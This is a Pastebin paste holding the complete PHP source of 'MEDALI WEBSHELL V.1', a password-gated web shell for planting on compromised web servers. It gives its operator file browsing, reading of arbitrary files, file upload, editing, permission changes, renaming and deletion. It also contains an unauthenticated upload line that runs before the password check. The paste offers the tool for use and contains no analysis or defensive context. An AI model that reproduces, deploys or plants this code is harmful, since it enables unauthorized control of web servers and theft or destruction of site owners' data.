Advertisement
MEDALI

miniwebshell

Jan 27th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.43 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. session_start();
  4. $SERVER_SESSIONS = "" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
  5. $SyIP = $_SERVER['REMOTE_ADDR'];
  6. (@copy($_FILES['pass']['tmp_name'], $_FILES['file']['name']));
  7. $Sykes = 'password'; // <=== Your Password Here ################################################################################
  8.  if($_POST['pw'] == "$Sykes") {
  9.    $_SESSION['pw'] = "$Sykes";
  10.   }
  11. if($_SESSION['pw'] != "$Sykes") {
  12.    echo "<title>---------------------------------------------MEDALI WEBSHELL V.1----------------------------------------</title>
  13.     <style>
  14.      /* NOTE: The styles were added inline because Prefixfree needs access to your styles and they must be inlined if they are on local disk! */
  15.      @import url(http://fonts.googleapis.com/css?family=Open+Sans+Condensed:700);
  16.      body {
  17.  background: #999;
  18.  padding: 40px;
  19.  font-family: 'Open Sans Condensed', sans-serif;
  20. }
  21.  
  22. #bg {
  23.  position: fixed;
  24.  left: 0;
  25.  top: 0;
  26.  width: 100%;
  27.  height: 100%;
  28.  background: url('https://images4.alphacoders.com/605/60578.jpg') no-repeat center center fixed;
  29.  background-size: cover;
  30.  -webkit-filter: blur(5px);    
  31. }
  32.  
  33. form {
  34.  position: relative;
  35.  width: 250px;
  36.  margin-top : 200px;
  37.  margin-left : 470px;
  38.  background: rgba(130,130,130,.3);
  39.  padding: 20px 22px;
  40.  border: 1px solid;
  41.  border-top-color: rgba(255,255,255,.4);
  42.  border-left-color: rgba(255,255,255,.4);
  43.  border-bottom-color: rgba(60,60,60,.4);
  44.  border-right-color: rgba(60,60,60,.4);
  45. }
  46.  
  47. form input, form button {
  48.  width: 247px;
  49.  border: 1px solid;
  50.  border-bottom-color: rgba(255,255,255,.5);
  51.  border-right-color: rgba(60,60,60,.35);
  52.  border-top-color: rgba(60,60,60,.35);
  53.  border-left-color: rgba(80,80,80,.45);
  54.  background-color: rgba(0,0,0,.2);
  55.  background-repeat: no-repeat;
  56.  padding: 8px 24px 8px 10px;
  57.  font: bold .875em/1.25em 'Open Sans Condensed', sans-serif;
  58.  letter-spacing: .075em;
  59.  color: #fff;
  60.  text-shadow: 0 1px 0 rgba(0,0,0,.1);
  61.  margin-bottom: 19px;
  62. }
  63.  
  64. form input:focus { background-color: rgba(0,0,0,.4); }
  65.  
  66.  
  67. form input.pass {
  68.  background-image:url('https://images4.alphacoders.com/605/60578.jpg');
  69.  background-position: 223px 8px
  70. }
  71.  
  72. ::-webkit-input-placeholder { color: red; text-transform: uppercase; }
  73. ::-moz-placeholder { color: red; text-transform: uppercase; }
  74. :-ms-input-placeholder { color: red; text-transform: uppercase; }
  75.  
  76. form button[type=submit] {
  77.  width: 248px;
  78.  margin-bottom: 0;
  79.  color: #3f898a;
  80.  letter-spacing: .05em;
  81.  text-shadow: 0 1px 0 #133d3e;
  82.  text-transform: uppercase;
  83.  background: #225556;
  84.  border-top-color: #9fb5b5;
  85.  border-left-color: #608586;
  86.  border-bottom-color: #1b4849;
  87.  border-right-color: #1e4d4e;
  88.  cursor: pointer;
  89. }
  90.    </style>
  91. <div id='bg'></div>
  92. <form method=post>
  93. <label for=''></label>
  94. <input type='password' name='pw' id='' placeholder='password' class='pass'>
  95. <input type='hidden' name='IPBOTS' id='' value=".$SERVER_SESSIONS.">
  96. <button type='submit'><font color='white'>ENTER</font></button><br><br>
  97. <center><font color='white'>Your IP:".$SyIP."</font></center>
  98. </form>
  99. <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>";
  100.    exit;
  101. }
  102. set_time_limit(0);
  103. error_reporting(0);
  104.  
  105. if(get_magic_quotes_gpc()){
  106. foreach($_POST as $key=>$value){
  107. $_POST[$key] = stripslashes($value);
  108. }
  109. }
  110. echo '<!DOCTYPE HTML>
  111. <HTML>
  112. <HEAD>
  113.  
  114. <link href="http://fonts.googleapis.com/css?family=Averia+Sans+Libre" rel="stylesheet" type="text/css">
  115. <link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
  116. <link href="http://fonts.googleapis.com/css?family=Nosifer" rel="stylesheet" type="text/css">
  117. <link href="http://fonts.googleapis.com/css?family=Play:700" rel="stylesheet" type="text/css">
  118. <link href="https://fonts.googleapis.com/css?family=Kdam+Thmor" rel="stylesheet" type="text/css">
  119.  
  120. <title>--------------------------------PR0GH05T1337-----------------------------------------------------</title>
  121. <style>
  122. body{
  123. color: red;
  124. font-family: Play, cursive;
  125. text-shadow:0px 0px 1px #757575;
  126. }
  127. #content tr:hover{
  128. background-color: #3399ff;
  129. text-shadow:0px 0px 10px red;
  130. }
  131. #content .first{
  132. background-color: #3399ff;
  133. }
  134. #content .first:hover{
  135. background-color: #3399ff;
  136. text-shadow:0px 0px 1px #757575;
  137. }
  138. table{
  139. border: 1px #3399ff dotted;
  140. }
  141. H1{
  142. font-size: 45px;
  143. color:red;
  144. font-family: Orbitron, cursive;
  145. text-shadow: 0 0 10px red,0 0 20px #33ccff,0 0 40px #33ccff,0 0 60px #33ccff,0 0 90px #33ccff,0 0 5px #33ccff;
  146. }
  147. a{
  148. color: red;
  149. text-decoration: none;
  150. }
  151. a:hover{
  152. color: red;
  153. text-shadow:0px 0px 10px #3399ff, 0px 0px 20px #3399ff;;
  154. }
  155. input,select,textarea{
  156. border: 1px #000000 solid;
  157. -moz-border-radius: 5px;
  158. -webkit-border-radius:5px;
  159. border-radius:5px;
  160. }
  161. </style>
  162. </HEAD>
  163. <BODY>
  164. <H1><center>
  165. <a href="https://fb.com/" target="_blank">&#77;&#69;&#68;&#32;&#65;&#76;&#73;&#32;&#77;&#105;&#110;&#105;&#32;&#83;&#104;&#101;&#108;&#108;</a>
  166. </center></H1>
  167. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  168. <tr><td>Directory : ';
  169. if(isset($_GET['path'])){
  170.     $path = $_GET['path'];  
  171. }else{
  172.     $path = getcwd();
  173. }
  174. $path = str_replace('\\','/',$path);
  175. $paths = explode('/',$path);
  176.  
  177. foreach($paths as $id=>$pat){
  178.     if($pat == '' && $id == 0){
  179.         $a = true;
  180.         echo '<a href="?path=/">/</a>';
  181.         continue;
  182.     }
  183.     if($pat == '') continue;
  184.     echo '<a href="?path=';
  185.     for($i=0;$i<=$id;$i++){
  186.         echo "$paths[$i]";
  187.         if($i != $id) echo "/";
  188.     }
  189.     echo '">'.$pat.'</a>/';
  190. }
  191. echo '</td></tr><tr><td>';
  192. if(isset($_FILES['file'])){
  193.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  194.         echo '<font color="green">File Upload Done.</font><br />';
  195.     }else{
  196.         echo '<font color="red">File Upload Error.</font><br />';
  197.     }
  198. }
  199. echo '<form enctype="multipart/form-data" method="POST">
  200. Upload File : <input type="file" name="file" />
  201. <input type="submit" value="upload" />
  202. </form>
  203. </td></tr>';
  204. if(isset($_GET['filesrc'])){
  205.     echo "<tr><td>Current File : ";
  206.     echo $_GET['filesrc'];
  207.     echo '</tr></td></table><br />';
  208.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  209. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  210.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  211.     if($_POST['opt'] == 'chmod'){
  212.         if(isset($_POST['perm'])){
  213.             if(chmod($_POST['path'],$_POST['perm'])){
  214.                 echo '<font color="green">Change Permission Done.</font><br />';
  215.             }else{
  216.                 echo '<font color="red">Change Permission Error.</font><br />';
  217.             }
  218.         }
  219.         echo '<form method="POST">
  220.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  221.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  222.        <input type="hidden" name="opt" value="chmod">
  223.        <input type="submit" value="Go" />
  224.        </form>';
  225.     }elseif($_POST['opt'] == 'rename'){
  226.         if(isset($_POST['newname'])){
  227.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  228.                 echo '<font color="green">Change Name Done.</font><br />';
  229.             }else{
  230.                 echo '<font color="red">Change Name Error.</font><br />';
  231.             }
  232.             $_POST['name'] = $_POST['newname'];
  233.         }
  234.         echo '<form method="POST">
  235.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  236.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  237.        <input type="hidden" name="opt" value="rename">
  238.        <input type="submit" value="Go" />
  239.        </form>';
  240.     }elseif($_POST['opt'] == 'edit'){
  241.         if(isset($_POST['src'])){
  242.             $fp = fopen($_POST['path'],'w');
  243.             if(fwrite($fp,$_POST['src'])){
  244.                 echo '<font color="green">Edit File Done.</font><br />';
  245.             }else{
  246.                 echo '<font color="red">Edit File Error.</font><br />';
  247.             }
  248.             fclose($fp);
  249.         }
  250.         echo '<form method="POST">
  251.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  252.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  253.        <input type="hidden" name="opt" value="edit">
  254.        <input type="submit" value="Go" />
  255.        </form>';
  256.     }
  257.     echo '</center>';
  258. }else{
  259.     echo '</table><br /><center>';
  260.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  261.         if($_POST['type'] == 'dir'){
  262.             if(rmdir($_POST['path'])){
  263.                 echo '<font color="green">Delete Dir Done.</font><br />';
  264.             }else{
  265.                 echo '<font color="red">Delete Dir Error.</font><br />';
  266.             }
  267.         }elseif($_POST['type'] == 'file'){
  268.             if(unlink($_POST['path'])){
  269.                 echo '<font color="green">Delete File Done.</font><br />';
  270.             }else{
  271.                 echo '<font color="red">Delete File Error.</font><br />';
  272.             }
  273.         }
  274.     }
  275.     echo '</center>';
  276.     $scandir = scandir($path);
  277.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  278.    <tr class="first">
  279.        <td><center>Name</center></td>
  280.        <td><center>Size</center></td>
  281.        <td><center>Permissions</center></td>
  282.        <td><center>Options</center></td>
  283.    </tr>';
  284.  
  285.     foreach($scandir as $dir){
  286.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  287.         echo "<tr>
  288.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  289.        <td><center>--</center></td>
  290.        <td><center>";
  291.         if(is_writable("$path/$dir")) echo '<font color="#00ff00">';
  292.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  293.         echo perms("$path/$dir");
  294.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  295.        
  296.         echo "</center></td>
  297.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  298.        <select name=\"opt\">
  299.        <option value=\"\"></option>
  300.        <option value=\"delete\">Delete</option>
  301.        <option value=\"chmod\">Chmod</option>
  302.        <option value=\"rename\">Rename</option>
  303.        </select>
  304.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  305.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  306.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  307.        <input type=\"submit\" value=\">\" />
  308.        </form></center></td>
  309.        </tr>";
  310.     }
  311.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  312.     foreach($scandir as $file){
  313.         if(!is_file("$path/$file")) continue;
  314.         $size = filesize("$path/$file")/1024;
  315.         $size = round($size,3);
  316.         if($size >= 1024){
  317.             $size = round($size/1024,2).' MB';
  318.         }else{
  319.             $size = $size.' KB';
  320.         }
  321.  
  322.         echo "<tr>
  323.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  324.        <td><center>".$size."</center></td>
  325.        <td><center>";
  326.         if(is_writable("$path/$file")) echo '<font color="#00ff00">';
  327.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  328.         echo perms("$path/$file");
  329.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  330.         echo "</center></td>
  331.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  332.        <select name=\"opt\">
  333.        <option value=\"\"></option>
  334.        <option value=\"delete\">Delete</option>
  335.        <option value=\"chmod\">Chmod</option>
  336.        <option value=\"rename\">Rename</option>
  337.        <option value=\"edit\">Edit</option>
  338.        </select>
  339.        <input type=\"hidden\" name=\"type\" value=\"file\">
  340.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  341.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  342.        <input type=\"submit\" value=\">\" />
  343.        </form></center></td>
  344.        </tr>";
  345.     }
  346.     echo '</table>
  347.    </div>';
  348. }
  349. echo '<br /></font>
  350. </BODY>
  351. </HTML>';
  352. function perms($file){
  353.     $perms = fileperms($file);
  354.  
  355. if (($perms & 0xC000) == 0xC000) {
  356.     // Socket
  357.     $info = 's';
  358. } elseif (($perms & 0xA000) == 0xA000) {
  359.     // Symbolic Link
  360.     $info = 'l';
  361. } elseif (($perms & 0x8000) == 0x8000) {
  362.     // Regular
  363.     $info = '-';
  364. } elseif (($perms & 0x6000) == 0x6000) {
  365.     // Block special
  366.     $info = 'b';
  367. } elseif (($perms & 0x4000) == 0x4000) {
  368.     // Directory
  369.     $info = 'd';
  370. } elseif (($perms & 0x2000) == 0x2000) {
  371.     // Character special
  372.     $info = 'c';
  373. } elseif (($perms & 0x1000) == 0x1000) {
  374.     // FIFO pipe
  375.     $info = 'p';
  376. } else {
  377.     // Unknown
  378.     $info = 'u';
  379. }
  380.  
  381. // Owner
  382. $info .= (($perms & 0x0100) ? 'r' : '-');
  383. $info .= (($perms & 0x0080) ? 'w' : '-');
  384. $info .= (($perms & 0x0040) ?
  385.             (($perms & 0x0800) ? 's' : 'x' ) :
  386.             (($perms & 0x0800) ? 'S' : '-'));
  387.  
  388. // Group
  389. $info .= (($perms & 0x0020) ? 'r' : '-');
  390. $info .= (($perms & 0x0010) ? 'w' : '-');
  391. $info .= (($perms & 0x0008) ?
  392.             (($perms & 0x0400) ? 's' : 'x' ) :
  393.             (($perms & 0x0400) ? 'S' : '-'));
  394.  
  395. // World
  396. $info .= (($perms & 0x0004) ? 'r' : '-');
  397. $info .= (($perms & 0x0002) ? 'w' : '-');
  398. $info .= (($perms & 0x0001) ?
  399.             (($perms & 0x0200) ? 't' : 'x' ) :
  400.             (($perms & 0x0200) ? 'T' : '-'));
  401.  
  402.     return $info;
  403. }
  404. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement